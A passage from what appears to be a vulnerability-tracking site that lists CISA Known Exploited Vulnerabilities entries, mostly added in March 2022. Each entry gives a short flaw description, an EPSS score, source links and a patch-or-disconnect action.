CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ruby on Rails Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2016-0752
Ruby on Rails Directory Traversal Vulnerability (Mar 25, 2022).
Directory traversal vulnerability in Action View in Ruby on Rails allows remote attackers to read arbitrary files.
EPSS 95.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0752&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0752: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0752&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arcserve Unified Data Protection (UDP) Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2015-4068
Arcserve Unified Data Protection (UDP) Directory Traversal Vulnerability (Mar 25, 2022).
Directory traversal vulnerability in Arcserve UDP allows remote attackers to obtain sensitive information or cause a denial of service.
EPSS 63.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-4068&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-4068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-4068&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TP-Link Multiple Archer Devices Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2015-3035
TP-Link Multiple Archer Devices Directory Traversal Vulnerability (Mar 25, 2022).
Directory traversal vulnerability in multiple TP-Link Archer devices allows remote attackers to read arbitrary files via a .. (dot dot) in the PATH_INFO to login/.
EPSS 83.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3035&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-3035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3035&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Elasticsearch Groovy Scripting Engine Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-1427
Elasticsearch Groovy Scripting Engine Remote Code Execution Vulnerability (Mar 25, 2022).
The Groovy scripting engine in Elasticsearch allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1427&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1427: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1427&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link and TRENDnet Multiple Devices Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-1187
D-Link and TRENDnet Multiple Devices Remote Code Execution Vulnerability (Mar 25, 2022).
The ping tool in multiple D-Link and TRENDnet devices allow remote attackers to perform remote code execution.
EPSS 82.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1187&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1187: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1187&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Prime Data Center Network Manager (DCNM) Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2015-0666
Cisco Prime Data Center Network Manager (DCNM) Directory Traversal Vulnerability (Mar 25, 2022).
Directory traversal vulnerability in the fmserver servlet in Cisco Prime Data Center Network Manager (DCNM) allows remote attackers to read arbitrary files.
EPSS 40.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0666&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-0666: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0666&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Object Linking & Embedding (OLE) Automation Array Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2014-6332
Microsoft Windows Object Linking & Embedding (OLE) Automation Array Remote Code Execution Vulnerability (Mar 25, 2022).
OleAut32.dll in OLE in Microsoft Windows allows remote attackers to remotely execute code via a crafted web site.
EPSS 94.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6332&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-6332: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6332&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Kerberos Key Distribution Center (KDC) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2014-6324
Microsoft Kerberos Key Distribution Center (KDC) Privilege Escalation Vulnerability (Mar 25, 2022).
The Kerberos Key Distribution Center (KDC) in Microsoft allows remote authenticated domain users to obtain domain administrator privileges.
EPSS 87.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6324&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-6324: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6324&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Rejetto HTTP File Server (HFS) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2014-6287
Rejetto HTTP File Server (HFS) Remote Code Execution Vulnerability (Mar 25, 2022).
The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (HFS or HttpFileServer) allows remote attackers to execute arbitrary programs.
EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6287&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-6287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6287&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Elasticsearch Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2014-3120
Elasticsearch Remote Code Execution Vulnerability (Mar 25, 2022).
Elasticsearch enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code.
EPSS 88.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-3120&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-3120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-3120&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ruby on Rails Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2014-0130
Ruby on Rails Directory Traversal Vulnerability (Mar 25, 2022).
Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails allows remote attackers to read arbitrary files via a crafted request.
EPSS 53.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0130&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0130: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0130&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DSL-2760U Gateway Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2013-5223
D-Link DSL-2760U Gateway Cross-Site Scripting Vulnerability (Mar 25, 2022).
A cross-site scripting (XSS) vulnerability exists in the D-Link DSL-2760U gateway, allowing remote authenticated users to inject arbitrary web script or HTML.
EPSS 50.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-5223&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-5223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-5223&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Hewlett Packard (HP) ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management: HP Multiple Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2013-4810
Hewlett Packard (HP) ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management: HP Multiple Products Remote Code Execution Vulnerability (Mar 25, 2022).
HP ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management allow remote attackers to execute arbitrary code via a marshalled object to (1) EJBInvokerServlet or (2) JMXInvokerServlet.
EPSS 79.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-4810&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-4810: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-4810&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2013-2251
Apache Struts Improper Input Validation Vulnerability (Mar 25, 2022).
Apache Struts allows remote attackers to execute arbitrary Object-Graph Navigation Language (OGNL) expressions.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2251&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2251: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2251&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PHP-CGI Query String Parameter Vulnerability
https://kevwire.com/record/CVE-2012-1823
PHP-CGI Query String Parameter Vulnerability (Mar 25, 2022).
sapi/cgi/cgi_main.c in PHP, when configured as a CGI script, does not properly handle query strings, which allows remote attackers to execute arbitrary code.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1823&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-1823: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1823&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Exim Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2010-4345
Exim Privilege Escalation Vulnerability (Mar 25, 2022).
Exim allows local users to gain privileges by leveraging the ability of the exim user account to specify an alternate configuration file with a directive that contains arbitrary commands.
EPSS 18.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-4345&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-4345: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-4345&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Exim Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2010-4344
Exim Heap-Based Buffer Overflow Vulnerability (Mar 25, 2022).
Heap-based buffer overflow in the string_vformat function in string.c in Exim before 4.70 allows remote attackers to execute arbitrary code via an SMTP session.
EPSS 71.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-4344&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-4344: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-4344&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2010-3035
Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability (Mar 25, 2022).
Cisco IOS XR, when BGP is the configured routing feature, allows remote attackers to cause a denial-of-service (DoS).
EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3035&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-3035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3035&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2010-2861
Adobe ColdFusion Directory Traversal Vulnerability (Mar 25, 2022).
A directory traversal vulnerability exists in the administrator console in Adobe ColdFusion which allows remote attackers to read arbitrary files.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2861&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-2861: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2861&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2009-2055
Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability (Mar 25, 2022).
Cisco IOS XR,when BGP is the configured routing feature, allows remote attackers to cause a denial-of-service (DoS).
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-2055&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-2055: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-2055&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### phpMyAdmin Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2009-1151
phpMyAdmin Remote Code Execution Vulnerability (Mar 25, 2022).
Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file.
EPSS 96.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1151&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-1151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1151&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Adobe Acrobat Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2009-0927
Adobe Reader and Adobe Acrobat Stack-Based Buffer Overflow Vulnerability (Mar 25, 2022).
Stack-based buffer overflow in Adobe Reader and Adobe Acrobat allows remote attackers to execute arbitrary code.
EPSS 96.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0927&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-0927: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0927&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Hewlett Packard (HP) OpenView Network Node Manager: HP OpenView Network Node Manager Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2005-2773
Hewlett Packard (HP) OpenView Network Node Manager: HP OpenView Network Node Manager Remote Code Execution Vulnerability (Mar 25, 2022).
HP OpenView Network Node Manager could allow a remote attacker to execute arbitrary commands on the system.
EPSS 74.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2005-2773&date=2026-10-25).
Sources:
CISA KEV entry CVE-2005-2773: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2005-2773&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SonicOS Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2020-5135
SonicWall SonicOS Buffer Overflow Vulnerability (Mar 15, 2022).
A buffer overflow vulnerability in SonicOS allows a remote attacker to cause Denial of Service (DoS) and potentially execute arbitrary code by sending a malicious request to the firewall.
EPSS 26.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5135&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5135: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5135&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Universal Plug and Play (UPnP) Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1405
Microsoft Windows Universal Plug and Play (UPnP) Service Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when the Windows UPnP service improperly allows COM object creation.
EPSS 30.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1405&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1405: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1405&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1322
Microsoft Windows Privilege Escalation Vulnerability (Mar 15, 2022).
A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1322&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1322&date=2026-10-25
CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Error Reporting Manager Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1315
Microsoft Windows Error Reporting Manager Privilege Escalation Vulnerability (Mar 15, 2022).
